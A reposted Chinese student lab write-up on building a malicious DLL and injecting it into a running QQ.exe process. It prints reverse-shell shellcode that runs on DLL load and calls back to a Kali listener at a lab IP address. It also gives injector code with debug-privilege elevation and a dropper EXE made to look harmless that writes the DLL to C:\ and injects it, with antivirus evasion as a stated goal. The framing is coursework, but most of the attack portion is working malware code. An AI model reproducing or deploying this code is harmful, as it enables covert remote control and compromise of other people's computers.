20145314鄭凱傑《網絡對抗技術》惡意DLL注入進程(進程捆綁)的實現


20145314鄭凱傑《網絡對抗技術》惡意DLL注入進程(進程捆綁)的實現

一、本節摘要

  • 簡介:在這部分里,要實現將惡意后門悄無聲息地與進程進行捆綁,通過和已運行的進程進行捆綁,達到附着攻擊執行的隱蔽效果。更進一步,結合前面的資源捆綁的方式,還可以實現免殺惡意注入EXE的效果。

  • 目標:

    1. 制作一個惡意DLL(手工免殺方法打造,不會被殺出來)
    2. 通過進程注入的方式,將這個惡意DLL注入到已運行的進程中去
    3. 在進程中編寫一個回調函數,一運行就直接執行惡意代碼
    4. 將這個惡意DLL直接綁定於我們的注入程序的資源段,封裝成一個表面純良無害的EXE可執行文件
  • 工作環境:

    • Windows 7
  • 最終成果:已全部實現目標


二、實現過程

1·惡意DLL的制作

新建項目win32,應用程序類型選擇dll,名稱為zkj5314hh:

需要新建幾個文件:

其中:

頭文件dllgenerator.h,內容:

int Add();//這里選用了Add這個函數名,DLL注入時需要輸入調用函數,這個名稱比較隱蔽

函數定義文件dllgenerator.cpp,內容:

將免殺代碼以一個函數的形式寫出來,以供調用,其中要加上必要的頭文件。

"dllmain.cpp",定義了入口函數,固定寫法

// dllmain.cpp : 定義 DLL 應用程序的入口點。

#include <windows.h>  
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    break;
}
return TRUE;
}

注意到DLL_PROCESS_ATTACH:我們對這個函數進行處理的話,就能得到很好的效果。什么用途呢,當然是當這個DLL附着上一個進程時,就可以自然地觸發這個回調函數。

立馬給他加上后門代碼:

case DLL_PROCESS_ATTACH:
	{	
	char met[] =
		"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
		"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
		"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
		"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
		"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
		"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
		"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
		"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
		"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
		"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
		"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
		"\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\xc7\x76\x68\x02"
		"\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
		"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
		"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
		"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
		"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
		"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
		"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
		"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
		"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
		"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
		"\x53\xff\xd5";

	DWORD old = 0;
	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
	INT32 * addr;
	addr = (INT32*)&met;

	__asm
	{
		call addr
	}

接着進行:

建立源文件"Source.def"

在此文件第一行引號中填項目名稱即可,EXPORTS下面列出要生成的函數名稱 格式:“名稱 @序號”)

點擊菜單欄 生成 -> 生成解決方案,我們的動態庫就生成成功了

為什么要編寫Add()又要實現回調的調用呢。是為了滿足我們這個DLL的功用,既可以使用主動調用,也可以被動觸發。

這里最后加上了一個彈窗,在成功回連之前會執行,彈窗代碼為:

MessageBox(NULL, TEXT("注入成功"), (LPCWSTR)"diudiudiu", MB_ICONERROR);

2·用惡意DLL實現與進程的捆綁

如何實現進程的DLL注入,應該首先找到這個進程,再分配空間,再調整該進程的權限,最后執行DLL。

思路為:

獲取該進程的句柄、返回此進程ID →在遠程進程的內存地址空間分配DLL空間→打開進程令牌環→調整進程權限→調用該進程

核心代碼如下:

	int a;
	DWORD thePid;
	char* dllPath = "zkj5314hh.dll";//設置路徑
	BOOL x, y;
	//a = EnableDebugPrivilege(SE_DEBUG_NAME);
	//printf("a=%d\n", a);
	y = SetPrivilege(SE_DEBUG_NAME, TRUE);
	thePid = getPid();//獲取進程
	x = InjectDll(dllPath, thePid);//注入
	if (x){
		printf("success\n");
	}
	else{
		printf("error\n");
	}
	return 0;

具體代碼就不貼了,查免考時再看。

接下來指定一個進程,以QQ.exe為例子實現攻擊。

打開kali端進行監聽。這里再編一個彈窗,若執行時會顯示一個彈窗(在后一步的具體實戰時會去掉)

用process hacker進行監聽,在實現注入時,出現了很明顯的波動

完成回連。

3·為這個注入程序加上可執行程序的免殺外殼

方法同資源節。

同樣做成一個Win32Project工程,同樣的方法注入,同樣的方法釋放,代碼貼一些出來。就似乎實現部分的switch語句,起到控制功能:

switch (message){
case WM_CREATE: //創建按鈕
{
					hInstance = ((LPCREATESTRUCT)lParam)->hInstance;
					hwndButton[0] = CreateWindow(_T("BUTTON"), _T("完成注入"),
						WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
						140, 50, 100, 50, hwnd, NULL,
						(HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), NULL);
					return 0;
}
case WM_PAINT: //繪制文字
	hdc = BeginPaint(hwnd, &ps);
	GetClientRect(hwnd, &rect);
	DrawText(hdc, TEXT("By:20145314"), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_BOTTOM);
	EndPaint(hwnd, &ps);
	return 0;
case WM_COMMAND: //響應按鈕消息
	if ((HWND)lParam == hwndButton[0])
	{

		//釋放出PE文件.
		//定位自定義資源,返回值是定位到的資源的句柄(注意第一個參數是包含資源的可執行文件的句柄,不要混淆)
		HRSRC hRsrc = FindResource(NULL, //包含所需資源的可執行文件句柄,為NULL代表是程序本身的句柄
			MAKEINTRESOURCE(IDR_DLL1),    //資源ID
			_T("DLL"));                    //資源類型
		if (hRsrc == NULL)
		{
			break;
		}
		//加載資源到內存中,返回值是相關資源數據的句柄
		HGLOBAL hGlobal = LoadResource(NULL,    //同上,模塊句柄
			hRsrc);                                //定位資源函數的返回值
		if (hGlobal == NULL)
		{
			break;
		}
		//鎖定資源,返回值是指向該資源的內存指針(重要,之后便可以用該指針來進行操作)
		LPVOID pBuffer = LockResource(hGlobal); //LoadResource的返回值
		if (pBuffer == NULL)
		{
			break;
		}
		//獲取資源的大小
		DWORD dwSize = SizeofResource(NULL, hRsrc);
		if (dwSize == 0)
		{
			break;
		}
		//測試寫到磁盤
		FILE *fp;
		fopen_s(&fp, "C:\\zkj5314hh.dll", "wb");
		if (fp != NULL)
		{
			//fwrite的三個參數(1,待寫入的數據;2、(數據塊的大小)每次寫的長度;3、數據塊的數目;4、文件指針)
			//返回值是寫入的數據塊的個數。
			if (fwrite(pBuffer, 1, dwSize, fp) == dwSize)
			{
				fclose(fp);
			}
		}
		int a;
		DWORD thePid;
		char* dllPath = "C:\\zkj5314hh.dll";
		BOOL x, y;
		//a = EnableDebugPrivilege(SE_DEBUG_NAME);
		//printf("a=%d\n", a);
		y = SetPrivilege(SE_DEBUG_NAME, TRUE);
		thePid = getPid();
		x = InjectDll(dllPath, thePid);
		if (x){
			MessageBox(hwnd, _T("注入成功!"), _T("提示"), MB_ICONQUESTION);
		}
		else{
			MessageBox(hwnd, _T("注入失敗!"), _T("提示"),  MB_ICONQUESTION);
		}
		return 0;
	}
	return 0;
case WM_CLOSE: //關閉
	if (IDYES == MessageBox(hwnd, _T("是否關閉程序?"), _T("提示"), MB_YESNO | MB_ICONQUESTION))
	{
		DestroyWindow(hwnd);
	}
	return 0;
case WM_DESTROY: //退出程序
	PostQuitMessage(0);
	return 0;
}

簡單來說,就是程序是一個窗口,點擊按鈕會將綁定於EXE中的惡意DLL釋放在C盤根目錄下。並且,會自動運行注入程序,找到系統中的QQ.exe進程,進行注入,並彈窗提示。

成品EXE。

運行后完成回連:

完成之后如圖,打開process monitor監視器:

成功捕捉到其惡意DLL附着在QQ.exe下的動作。實驗最終成功。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM